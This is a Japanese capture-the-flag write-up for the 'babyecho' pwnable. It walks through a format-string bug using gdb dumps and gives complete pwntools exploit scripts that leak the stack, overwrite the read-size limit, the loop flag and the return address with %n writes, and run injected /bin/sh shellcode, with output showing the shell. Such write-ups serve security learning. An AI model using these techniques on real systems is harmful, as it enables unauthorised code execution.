pwnlist baby babyecho
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ file babyecho | sed -e "s/,/\n/g" babyecho: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked for GNU/Linux 2.6.24 BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ checksec.sh --file babyecho RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH babyecho
解析
プログラムを実行すると入力が求められる.いろいろ入力しているとFSBがあることがわかった.(入力の値は7番目)
ただし,この入力サイズは13byteに限られているので,シェルコードを積むのが難しい.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ ./babyecho Reading 13 bytes %p%p%p%p%p%p 0xd0xa(nil)0xd0xff8c750c(nil) Reading 13 bytes
サイズを書き換える必要があるのでサイズの位置を探す.
[----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffa89868 --> 0x80497d0 (push ebx) ESP: 0xffa89440 --> 0x80be5f1 ("Reading %d bytes\n") EIP: 0x8048fe8 (mov eax,DWORD PTR [esp+0x10]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fb6: mov eax,0x3ff 0x8048fbb: cmp DWORD PTR [esp+0x10],0x3ff 0x8048fc3: cmovle eax,DWORD PTR [esp+0x10] # eax(0x3ff) >= esp+0x10(0xd)だったらesp+0x10の値をeaxに転送 0x8048fc8: mov DWORD PTR [esp+0x10],eax 0x8048fcc: mov eax,DWORD PTR [esp+0x10] 0x8048fd0: mov DWORD PTR [esp+0x4],eax 0x8048fd4: mov DWORD PTR [esp],0x80be5f1 0x8048fdb: call 0x804f560 0x8048fe0: mov DWORD PTR [esp+0x8],0xa => 0x8048fe8: mov eax,DWORD PTR [esp+0x10] # 読み込みサイズの値を 0x8048fec: mov DWORD PTR [esp+0x4],eax # 引数に指定 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax 0x8048ff7: call 0x8048e24 [------------------------------------stack-------------------------------------] 0000| 0xffa89440 --> 0x80be5f1 ("Reading %d bytes\n") 0004| 0xffa89444 --> 0xd ('\r') 0008| 0xffa89448 --> 0xa ('\n') 0012| 0xffa8944c --> 0x0 0016| 0xffa89450 --> 0xd ('\r') 0020| 0xffa89454 --> 0xffa8945c --> 0x41410041 ('A') 0024| 0xffa89458 --> 0x0 0028| 0xffa8945c --> 0x41410041 ('A')
どうやら0xffa89450の値を毎回指定していることがわかった.
しかもこの値,引数に指定する前に3ffと比較して3ff以下であれば値0xdを指定するようになっている.
つまりサイズを0x3ffを超える値に書き換えてやれば,サイズが0x3ffに指定される.
ということで,入力サイズを変えてみる.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct context(os='linux', arch='i386') #context.log_level = 'debug' conn = process('./babyecho') shellcode = asm(shellcraft.sh()) # leack stack, culculate addr conn.recv() conn.send("%5$p\n") input_addr = int(conn.recv(10),16) size_addr = input_addr - 0xc # change size payload = p32(size_addr + 1) print len(payload) payload += "%99x" payload += "%7$n" payload += "\n" conn.send(payload) conn.interactive()
うまく書き換わった.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ python change_size.py [+] Starting local process './babyecho': pid 8390 4 [*] Switching to interactive mode Reading 13 bytes !\xbf\xaa\xff d Reading 1023 bytes $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
リターンアドレスと入力との差は0x410なので,入力からリターンアドレスの位置を計算できる.
あとは,シェルコードを積んでリターンアドレスでシェルコードに飛んでやれば良い.
ただし,このプログラムは入力をループしているので,ループから抜け出す必要がある.
0xffa89458の値が0ではないときにループから抜け出すらしいので,書き換えてやれば良い.
[----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x80481a8 (push ebx) ECX: 0x80eb4d4 --> 0x0 EDX: 0x80481a8 (push ebx) ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffa89868 --> 0x80497d0 (push ebx) ESP: 0xffa89440 --> 0x14 EIP: 0x804902c (cmp DWORD PTR [esp+0x18],0x0) EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804901b: call 0x804fde0 0x8049020: mov DWORD PTR [esp],0x14 0x8049027: call 0x806cb50 => 0x804902c: cmp DWORD PTR [esp+0x18],0x0 0x8049031: je 0x8048fb6 0x8049033: mov eax,0x0 0x8049038: mov edx,DWORD PTR [esp+0x41c] 0x804903f: xor edx,DWORD PTR gs:0x14 [------------------------------------stack-------------------------------------] 0000| 0xffa89440 --> 0x14 0004| 0xffa89444 --> 0xd ('\r') 0008| 0xffa89448 --> 0xa ('\n') 0012| 0xffa8944c --> 0x0 0016| 0xffa89450 --> 0xd ('\r') 0020| 0xffa89454 --> 0xffa8945c --> 0x610061 ('a') 0024| 0xffa89458 --> 0x0 0028| 0xffa8945c --> 0x610061 ('a')
Exploit
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct context(os='linux', arch='i386') #context.log_level = 'debug' conn = process('./babyecho') shellcode = asm(shellcraft.sh()) # leack stack conn.recv() conn.send("%5$p\n") input_addr = int(conn.recv(10),16) # culculate addr size_addr = input_addr - 0xc break_flag_addr = input_addr - 0x4 ret_addr = input_addr + 0x410 # change size payload = p32(size_addr + 1) payload += "%99x" payload += "%7$n" payload += "\n" conn.send(payload) shellcode_addr = input_addr + 0xc shellcode_addr_high = shellcode_addr >> 16 shellcode_addr_low = shellcode_addr & 0x000ffff offset = shellcode_addr_high - shellcode_addr_low # shell payload = p32(break_flag_addr) payload += p32(ret_addr) payload += p32(ret_addr + 2) payload += shellcode output_length = len(payload) payload += "%7$hhn" # ループの判定書き換え payload += "%" + str(shellcode_addr_low - output_length) + "x" payload += "%8$hn" # リターンアドレス書き換え payload += "%" + str(offset) + "x" payload += "%9$hn" # リターンアドレス書き換え payload += "\n" conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ python exploit.py [+] Starting local process './babyecho': pid 9457 [*] Switching to interactive mode Reading 13 bytes \x11E\x93\xff d Reading 1023 bytes \x18E\x93\xff,I\x93\xff.I\x93\xffjhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀ 3ff a $ ls babyecho core ex.py peda-session-babyecho.txt strings change_size.py dump exploit.py peda-session-dash.txt